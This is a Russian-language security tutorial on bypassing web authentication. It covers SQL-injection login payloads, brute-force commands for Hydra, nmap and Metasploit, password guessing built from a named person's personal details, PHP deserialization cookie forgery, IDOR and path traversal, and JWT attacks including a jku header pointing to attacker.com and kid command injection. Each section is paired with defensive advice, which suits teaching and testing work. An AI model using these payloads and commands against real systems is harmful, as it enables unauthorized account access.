The book of Magnus

Обход авторизации — это класс уязвимостей, возникающих из-за ошибок в реализации механизмов контроля доступа в веб-приложениях. Эти уязвимости позволяют злоумышленникам получить доступ к функционалу или данным, которые должны быть защищены.

Основные типы уязвимостей обхода авторизации:

• SQL Injection
• Обход Basic Authentication
• Brute Force атаки
• Использование стандартных учетных данных
• Уязвимости десериализации
• IDOR (Небезопасные прямые ссылки на объекты)
• Атаки на JWT токены
• Session Fixation/Hijacking
• Elevation of Privilege

---

SQL Injection

Описание

SQL Injection позволяет манипулировать SQL-запросами через пользовательский ввод, что может привести к обходу аутентификации.

Типичный уязвимый код

SELECT * FROM users WHERE login='ВВЕДЁННЫЙ_ЛОГИН' AND password='ВВЕДЁННЫЙ_ПАРОЛЬ'

Пример атаки

Исходные данные:

• Логин: admin
• Пароль: ' OR 1=1; --

Модифицированный запрос:

SELECT * FROM users WHERE login='admin' AND password='' OR 1=1; -- '

В результате условие OR 1=1 делает весь запрос истинным, а комментарий -- игнорирует остальную часть запроса.

Распространённые payloads для обхода авторизации

-- В поле логина или пароля
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' ({
' OR '1'='1' /*
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--

Пример с Union-based SQL Injection

-- Исходный запрос
SELECT id, username FROM users WHERE username='USER' AND password='PASS'

-- Payload в поле username
admin' UNION SELECT 1, 'admin' --

-- Результат
SELECT id, username FROM users WHERE username='admin' UNION SELECT 1, 'admin' --' AND password='PASS'

Защита от SQL Injection

1. Использование подготовленных запросов (Prepared Statements)

$stmt = $pdo->prepare('SELECT * FROM users WHERE login = ? AND password = ?');
$stmt->execute([$login, $password]);

2. ORM (Object-Relational Mapping)
3. Валидация и санитизация входных данных
4. Принцип наименьших привилегий для БД
5. Web Application Firewall (WAF)

---

Обход Basic Authentication

Описание

Basic Authentication — один из наиболее небезопасных методов аутентификации, где учётные данные передаются в заголовке HTTP в формате Base64.

Схема работы Basic Auth

1. Клиент → Сервер: GET /protected-resource
2. Сервер → Клиент: 401 Unauthorized + WWW-Authenticate: Basic realm="Protected"
3. Клиент → Сервер: GET /protected-resource + Authorization: Basic base64(username:password)
4. Сервер → Клиент: 200 OK + Данные

Уязвимости Basic Auth

1. Отсутствие блокировки после неудачных попыток
2. Слабое шифрование (Base64 легко декодируется)
3. Передача данных по незащищённому каналу

Настройка Basic Auth (пример для Apache)

Создание файла .htaccess:

AuthType Basic
AuthName "Input username and password"
AuthUserFile /path/to/.htpasswd
Require valid-user

Создание файла .htpasswd:

htpasswd -c /path/to/.htpasswd username

Или через конфигурацию Apache:

<Directory /var/www/html>
    AuthType Basic
    AuthName "Input login and password!"
    AuthUserFile /etc/apache/.htpasswd
    Require valid-user
</Directory>

Brute Force атака на Basic Auth с помощью Nmap

nmap -p 80 --script http-brute --script-args \
  http-brute.hostname=target.com,\
  http-brute.method=GET,\
  http-brute.path=/admin,\
  userdb=/path/to/users.txt,\
  passdb=/path/to/passwords.txt \
  target.com

Brute Force с помощью Metasploit

use auxiliary/scanner/http/http_login
set RHOSTS target.com
set AUTH_URI /admin
set USER_FILE /path/to/users.txt
set PASS_FILE /path/to/passwords.txt
run

Brute Force с помощью Hydra

hydra -L users.txt -P passwords.txt target.com http-get /admin

Защита от атак на Basic Auth

1. Использование HTTPS
2. Ограничение количества попыток входа
3. IP-based rate limiting
4. Переход на более безопасные методы аутентификации (OAuth, JWT)
5. Двухфакторная аутентификация

---

Brute Force атаки

Описание

Brute Force — метод перебора всех возможных комбинаций учётных данных для получения доступа к системе.

Типы Brute Force атак

1. Dictionary Attack — перебор по словарю популярных паролей
2. Hybrid Attack — комбинация словарных слов с цифрами и символами
3. Credential Stuffing — использование скомпрометированных баз учётных данных

Генерация словарей паролей с помощью Crunch

Базовый синтаксис:

crunch <мин_длина> <макс_длина> [набор_символов] [опции] -o выходной_файл.txt

Примеры использования:

# Генерация паролей длиной от 5 до 5 символов из набораdam10
crunch 5 5 dam10 -o passwords.txt

# Генерация с использованием паттерна
crunch 8 8 -t pass@@@@ -o passwords.txt
# @@@@ заменится на цифры

# Генерация с ограничением размера файла
crunch 6 8 0123456789 -b 100mb -o START

Создание целевого словаря на основе информации о пользователе:

Допустим, известна следующая информация:

• Имя: Александр
• Фамилия: Романов
• Дата рождения: 12.11.1992
• Город: Воронеж
• Телефон: +79204421720

Возможные пароли:

12-11-92
12-19-92
alex.roman92
0271244029ar
a13xr0m4n0v
Voronezh.92.12
r0m4nov27
I_l0v3_voronezh
AlexRomanov1992
AR19921112
Voronezh_Alex

Инструменты для Brute Force

1. Hydra

# HTTP Form
hydra -L users.txt -P passwords.txt target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:F=incorrect"

# SSH
hydra -l admin -P passwords.txt ssh://target.com

# FTP
hydra -l admin -P passwords.txt ftp://target.com

2. Medusa

medusa -h target.com -u admin -P passwords.txt -M http -m DIR:/admin

3. Patator

patator http_fuzz url=http://target.com/login method=POST \
  body='username=FILE0&password=FILE1' 0=users.txt 1=passwords.txt \
  -x ignore:fgrep='Invalid'

Защита от Brute Force

1. Ограничение количества попыток входа
2. CAPTCHA после N неудачных попыток
3. Временная блокировка учётной записи
4. Rate Limiting по IP
5. Многофакторная аутентификация
6. Мониторинг подозрительной активности
7. Использование сильных паролей

---

Пароли по умолчанию

Описание

Многие устройства и приложения поставляются с предустановленными учётными данными, которые администраторы часто забывают изменить.

Пример: Роутер ZYXEL PRESTIGE 900

Сценарий:

1. Обнаружен роутер с веб-интерфейсом на порту 80
2. Идентифицирована модель: ZYXEL PRESTIGE 900
3. Найдены учётные данные по умолчанию в базе данных

Распространённые учётные данные для ZYXEL:

Username	Password	Частота использования
admin	1234	34%
none	1234	24%
(пусто)	1234	16%
admin	admin	4%
webadmin	1234	2%

Ресурсы для поиска паролей по умолчанию

1. DefaultPasswords.com — https://default-passwords.com/
2. RouterPasswords.com — https://www.routerpasswords.com/
3. CIRT.net Default Password Database — https://cirt.net/passwords
4. DataRecovery.com — список паролей для различных устройств
5. Документация производителя

Поиск устройств с дефолтными паролями

Nmap:

nmap -p 80,443,8080 --script http-default-accounts target.com

Metasploit:

use auxiliary/scanner/http/axis_login
set RHOSTS target.com
run

Защита

1. Изменение паролей по умолчанию при первой настройке
2. Принудительная смена пароля при первом входе
3. Аудит систем на наличие дефолтных учётных данных
4. Отключение неиспользуемых учётных записей

---

Уязвимости сериализации

Описание

Сериализация — процесс преобразования объектов в формат, пригодный для передачи или хранения. Десериализация — обратный процесс. Небезопасная десериализация может привести к выполнению произвольного кода или обходу аутентификации.

Сериализация в PHP

Пример сериализации массива:

<?php
$arr = ['codeby', 2019, 'id' => 13, 'login' => 'hacker'];

echo "До сериализации:<br>";
var_dump($arr);

$s = serialize($arr);
echo "<br>После сериализации:<br>";
print($s);

echo "<br>После десериализации:<br>";
$u = unserialize($s);
var_dump($u);
?>

Результат:

До сериализации:
array(4) { [0]=> string(6) "codeby" [1]=> int(2019) ["id"]=> int(13) ["login"]=> string(6) "hacker"}

После сериализации:
a:4:{i:0;s:6:"codeby";i:1;i:2019;s:2:"id";i:13;s:5:"login";s:6:"hacker";}

После десериализации:
array(4) { [0]=> string(6) "codeby" [1]=> int(2019) ["id"]=> int(13) ["login"]=> string(6) "hacker"}

Сериализация объектов

Пример класса:

<?php
class Hacker {
    public $login = "megakiborg";
    public $passwd = "nagib31337";
    public $code = 3455123;
    
    public function hackPentagon() {
        echo "Pentagon is hacked!";
    }
}

$hacker = new Hacker;

echo "До сериализации:<br>";
var_dump($hacker);

$s = serialize($hacker);
echo "<br>После сериализации:<br>";
print($s);

echo "<br>После десериализации:<br>";
$u = unserialize($s);
var_dump($u);

echo "<br>Проверка возможности выполнения функций класса:<br>";
$u->hackPentagon();
?>

Результат сериализации:

O:6:"Hacker":3:{s:5:"login";s:10:"megakiborg";s:6:"passwd";s:10:"nagib31337";s:4:"code";i:3455123;}

Обход авторизации через десериализацию

Уязвимый код:

<?php
if (isset($_COOKIE['auth'])) {
    $data = unserialize($_COOKIE['auth']);
    
    if (is_array($data) && $data['login'] == 'validLogin' && $data['passwd'] == 'validPasswd') {
        echo "welcome back user!";
    } else {
        echo "something wrong";
    }
}
?>

Нормальный Cookie:

auth=a:2:{s:5:"login";s:10:"validLogin";s:6:"passwd";s:11:"validPasswd";}

URL-encoded:

auth=a%3A2%3A%7Bs%3A5%3A%22login%22%3Bs%3A10%3A%22validLogin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A11%3A%22validPasswd%22%3B%7D

Эксплуатация:

Вместо строковых значений можно использовать логические (boolean):

auth=a:2:{s:5:"login";b:1;s:6:"passwd";b:1;}

URL-encoded:

auth=a%3A2%3A%7Bs%3A5%3A%22login%22%3Bb%3A1%3Bs%3A6%3A%22passwd%22%3Bb%3A1%3B%7D

Почему это работает:

В PHP при сравнении true == "любая_непустая_строка" результат будет true.

if ($data['login'] == 'validLogin')  // true == 'validLogin' = true
if ($data['passwd'] == 'validPasswd') // true == 'validPasswd' = true

Более опасные сценарии

POP-цепочки (Property Oriented Programming):

class Logger {
    public $logFile;
    
    function __destruct() {
        file_put_contents($this->logFile, "Log data");
    }
}

// Эксплуатация
$payload = 'O:6:"Logger":1:{s:7:"logFile";s:10:"shell.php";}';

Защита от атак десериализации

1. Не десериализовать данные из недоверенных источников
2. Использование JSON вместо нативной сериализации
3. Цифровые подписи для сериализованных данных
4. Whitelist разрешённых классов
5. Отключение магических методов (при возможности)

---

IDOR (Insecure Direct Object Reference)

Описание

IDOR — уязвимость, возникающая когда приложение использует прямые ссылки на внутренние объекты (файлы, записи БД) без проверки прав доступа.

Примеры IDOR

Пример 1: Доступ к профилям пользователей

URL:

http://example.com/user/profile/28

Атака: Изменение ID в URL:

http://example.com/user/profile/29
http://example.com/user/profile/30
http://example.com/user/profile/1

Если приложение не проверяет, имеет ли текущий пользователь право просматривать профиль с этим ID, возникает IDOR.

Пример 2: Доступ к файлам

URL:

http://example.com/download?file=invoice_1234.pdf

Атака:

http://example.com/download?file=invoice_1235.pdf
http://example.com/download?file=../../../etc/passwd

Пример 3: API endpoints

Запрос:

GET /api/v1/users/123/orders
Authorization: Bearer <token>

Атака: Изменение ID пользователя:

GET /api/v1/users/124/orders
Authorization: Bearer <token>

Пример 4: IDOR в Cookie

Нормальный Cookie:

session_id=2058be1c62e6347f2bb5d8bb64852352;
role=dXNlcg==

dXNlcg== в Base64 — это user

Атака: Изменить роль на admin (в Base64: YWRtaW4=):

session_id=2058be1c62e6347f2bb5d8bb64852352;
role=YWRtaW4=

Пример 5: IDOR в REST API

Легитимный запрос:

POST /api/orders/456/cancel HTTP/1.1
Host: shop.example.com
Authorization: Bearer eyJhbGc...
Content-Type: application/json

{
  "orderId": 456,
  "userId": 789
}

Атака:

POST /api/orders/457/cancel HTTP/1.1
Host: shop.example.com
Authorization: Bearer eyJhbGc...
Content-Type: application/json

{
  "orderId": 457,
  "userId": 789
}

Инструменты для поиска IDOR

1. Burp Suite — Autorize extension

1. Установить расширение Autorize в Burp
2. Создать две сессии (обычный пользователь и администратор)
3. Autorize автоматически повторит запросы админа от лица обычного пользователя

2. IDOR Scanner (Python script)

import requests

base_url = "http://example.com/api/users/"
headers = {"Authorization": "Bearer USER_TOKEN"}

for user_id in range(1, 100):
    response = requests.get(f"{base_url}{user_id}", headers=headers)
    if response.status_code == 200:
        print(f"[+] Access granted to user {user_id}")
        print(response.json())

Защита от IDOR

1. Проверка прав доступа на стороне сервера

// Плохо
$userId = $_GET['id'];
$user = getUser($userId);
displayUserProfile($user);

// Хорошо
$userId = $_GET['id'];
if (currentUserCanAccessProfile($userId)) {
    $user = getUser($userId);
    displayUserProfile($user);
} else {
    show403Error();
}

2. Использование непредсказуемых идентификаторов (UUID)

Вместо: /api/users/123
Использовать: /api/users/f47ac10b-58cc-4372-a567-0e02b2c3d479

3. Indirect Reference Maps

// Вместо прямого ID используется токен сессии
$referenceMap = [
    'abc123' => 456,  // токен -> реальный ID
    'def456' => 789
];

$token = $_GET['ref'];
$realId = $referenceMap[$token];

4. Логирование доступа к ресурсам

---

Атаки на JWT (JSON Web Tokens)

Описание

JWT — это открытый стандарт (RFC 7519) для создания токенов доступа. JWT состоит из трёх частей, разделённых точками:

header.payload.signature

Структура JWT

Пример токена:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJpYXQiOjE1MTYyMzkwMjJ9.signature_here

Header (заголовок):

{
  "typ": "JWT",
  "alg": "HS256"
}

Payload (полезная нагрузка):

{
  "user": "guest",
  "iat": 1516239022,
  "exp": 1516242622
}

Signature (подпись):

HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secret
)

Практический пример атаки на JWT

Шаг 1: Обнаружение

Заходим на веб-приложение и видим доступные эндпоинты:

http://target.com/
http://target.com/token
http://target.com/admin

Шаг 2: Попытка доступа к /admin

GET /admin HTTP/1.1
Host: target.com

Ответ:

HTTP/1.1 403 Forbidden

Access denied. Admin privileges required.

Шаг 3: Получение JWT токена

GET /token HTTP/1.1
Host: target.com

Ответ:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw

Шаг 4: Декодирование JWT

Заходим на https://jwt.io и вставляем токен.

Декодированный Header:

{
  "typ": "JWT",
  "alg": "HS512"
}

Декодированный Payload:

{
  "role": "guest"
}

Шаг 5: Попытка модификации

Меняем "guest" на "admin", но при этом подпись становится невалидной, так как мы не знаем секретный ключ.

Шаг 6: Взлом секретного ключа

Устанавливаем jwt_tool:

git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install termcolor cprint pycryptodomex requests

Запускаем анализ токена:

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw

Вывод:

Original JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9...

Decoded Token Values:
[+] typ = "JWT"
[+] alg = "HS512"
[+] role = "guest"

Запускаем брутфорс секретного ключа:

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw -C -d /usr/share/wordlists/rockyou.txt

Результат:

[+] lol is the CORRECT key!

Шаг 7: Создание нового токена

Возвращаемся на https://jwt.io:

1. В поле Payload меняем "guest" на "admin":

{
  "role": "admin"
}

2. В поле "Verify Signature" вводим найденный ключ: lol

3. Получаем новый подписанный JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiYWRtaW4ifQ.y9GHxQbH70x_S8F_VPAjra_S-nQ9MsRnuvwWFGoIyKXKk8xCcMpYljN190KcV1qV6qLFTNrvg4Gwyv29OCjAWA

Шаг 8: Использование токена

Перехватываем запрос с помощью Burp Suite:

Исходный запрос:

GET /admin HTTP/1.1
Host: target.com

Модифицированный запрос:

POST /admin HTTP/1.1
Host: target.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiYWRtaW4ifQ.y9GHxQbH70x_S8F_VPAjra_S-nQ9MsRnuvwWFGoIyKXKk8xCcMpYljN190KcV1qV6qLFTNrvg4Gwyv29OCjAWA

Ответ:

HTTP/1.1 200 OK

Welcome, admin! Your flag: PleaseUseAStrongSecretNextTime

Типы атак на JWT

1. None Algorithm Attack

Описание: Установка алгоритма в "none" для обхода проверки подписи.

Атака:

// Header
{
  "typ": "JWT",
  "alg": "none"
}

// Payload
{
  "role": "admin"
}

Токен:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4ifQ.

2. Algorithm Confusion (RS256 to HS256)

Описание: Подмена асимметричного алгоритма RS256 на симметричный HS256.

Если сервер использует RS256 (публичный ключ для проверки), но принимает HS256, можно подписать токен используя публичный ключ как секрет.

# Получаем публичный ключ
openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout > public.pem

# Подписываем токен с алгоритмом HS256 используя публичный ключ
python3 jwt_tool.py <JWT> -X k -pk public.pem

3. Weak Secret Brute-Force

# С помощью hashcat
hashcat -a 0 -m 16500 jwt.txt rockyou.txt

# С помощью John the Ripper
john --wordlist=rockyou.txt --format=HMAC-SHA256 jwt.txt

# С помощью jwt_tool
python3 jwt_tool.py <JWT> -C -d rockyou.txt

4. KID (Key ID) Injection

Если JWT использует параметр kid для указания ключа:

{
  "typ": "JWT",
  "alg": "HS256",
  "kid": "/path/to/key"
}

Возможные атаки:

// Path Traversal
"kid": "../../public/css/style.css"

// SQL Injection
"kid": "key' UNION SELECT 'secret'--"

// Command Injection
"kid": "key.txt; whoami"

5. JKU/JWK Header Injection

{
  "typ": "JWT",
  "alg": "RS256",
  "jku": "https://attacker.com/jwks.json"
}

Злоумышленник может указать свой сервер с подконтрольными ключами.

Защита от атак на JWT

1. Использование сильных секретных ключей

Минимум 256 бит случайных данных

2. Whitelist разрешённых алгоритмов

jwt.verify(token, secret, { algorithms: ['HS256'] })

3. Проверка и валидация заголовков

// Запрет "none" алгоритма
if (header.alg === 'none') {
    throw new Error('None algorithm not allowed');
}

4. Короткое время жизни токенов

{
  "exp": 1234567890,  // 15 минут от iat
  "iat": 1234567000
}

5. Не хранить критичные данные в payload
6. Использование refresh tokens
7. Blacklist скомпрометированных токенов

---

Защита от обхода авторизации

Общие рекомендации

1. Принципы безопасной аутентификации

• Многофакторная аутентификация (MFA)
• Сильные пароли (минимум 12 символов, буквы, цифры, спецсимволы)
• Регулярная смена паролей
• Хеширование паролей (bcrypt, Argon2, scrypt)

2. Защита на уровне кода

Валидация входных данных:

// Плохо
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username='$username'";

// Хорошо
$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);

Проверка прав доступа:

function checkAccess($userId, $resourceId) {
    // Проверяем, имеет ли пользователь доступ к ресурсу
    if (!userOwnsResource($userId, $resourceId)) {
        http_response_code(403);
        die('Access denied');
    }
}

3. Защита на уровне инфраструктуры

• Web Application Firewall (WAF)
• Rate Limiting
• IP Whitelisting для админ-панели
• VPN для доступа к критичным системам

4. Мониторинг и логирование

// Логирование попыток входа
function logAuthAttempt($username, $ip, $success) {
    $log = [
        'timestamp' => time(),
        'username' => $username,
        'ip' => $ip,
        'success' => $success,
        'user_agent' => $_SERVER['HTTP_USER_AGENT']
    ];
    
    file_put_contents('auth.log', json_encode($log) . PHP_EOL, FILE_APPEND);
    
    // Отправка алертов при подозрительной активности
    if (!$success && getFailedAttempts($ip) > 5) {
        sendAlert("Multiple failed attempts from $ip");
    }
}

5. Безопасная конфигурация

Nginx:

# Ограничение попыток входа
limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;

location /login {
    limit_req zone=login burst=10;
}

# Скрытие версии сервера
server_tokens off;

Apache:

# Модуль mod_evasive для защиты от DoS
<IfModule mod_evasive20.c>
    DOSHashTableSize 3097
    DOSPageCount 5
    DOSSiteCount 100
    DOSPageInterval 1
    DOSSiteInterval 1
    DOSBlockingPeriod 10
</IfModule>

Чеклист безопасности

• Все пароли хешируются с использованием современных алгоритмов
• Реализована защита от SQL Injection (prepared statements)
• Настроен rate limiting для форм входа
• Включена многофакторная аутентификация
• Используется HTTPS для всех соединений
• Токены сессий генерируются криптографически стойко
• Реализована проверка прав доступа для всех защищённых ресурсов
• Логируются все попытки аутентификации
• Установлены актуальные обновления безопасности
• Проведён аудит кодовой базы на уязвимости
• Изменены все пароли по умолчанию
• Отключены неиспользуемые сервисы и учётные записи

---

Дополнительные ресурсы

Инструменты тестирования

• Burp Suite — https://portswigger.net/burp
• OWASP ZAP — https://www.zaproxy.org/
• SQLMap — https://sqlmap.org/
• Hydra — https://github.com/vanhauser-thc/thc-hydra
• jwt_tool — https://github.com/ticarpi/jwt_tool

Обучение

• OWASP Top 10 — https://owasp.org/www-project-top-ten/
• PortSwigger Web Security Academy — https://portswigger.net/web-security
• HackTheBox — https://www.hackthebox.com/
• TryHackMe — https://tryhackme.com/

Документация

• OWASP Authentication Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
• JWT Best Practices — https://tools.ietf.org/html/rfc8725
• CWE-287: Improper Authentication — https://cwe.mitre.org/data/definitions/287.html

---

Заключение

Обход авторизации — критичная проблема безопасности, которая может привести к полной компрометации системы. Понимание механизмов атак и методов защиты необходимо как для специалистов по безопасности, так и для разработчиков.

Ключевые выводы:

1. Всегда валидируйте и санитизируйте пользовательский ввод
2. Используйте современные методы аутентификации и авторизации
3. Проверяйте права доступа на стороне сервера
4. Регулярно обновляйте системы и меняйте пароли по умолчанию
5. Внедряйте многофакторную аутентификацию где это возможно
6. Логируйте и мониторьте попытки доступа
7. Проводите регулярные аудиты безопасности

Важно помнить: Все описанные техники предназначены исключительно для легального тестирования безопасности систем, на которые у вас есть разрешение. Несанкционированный доступ к компьютерным системам является преступлением.

---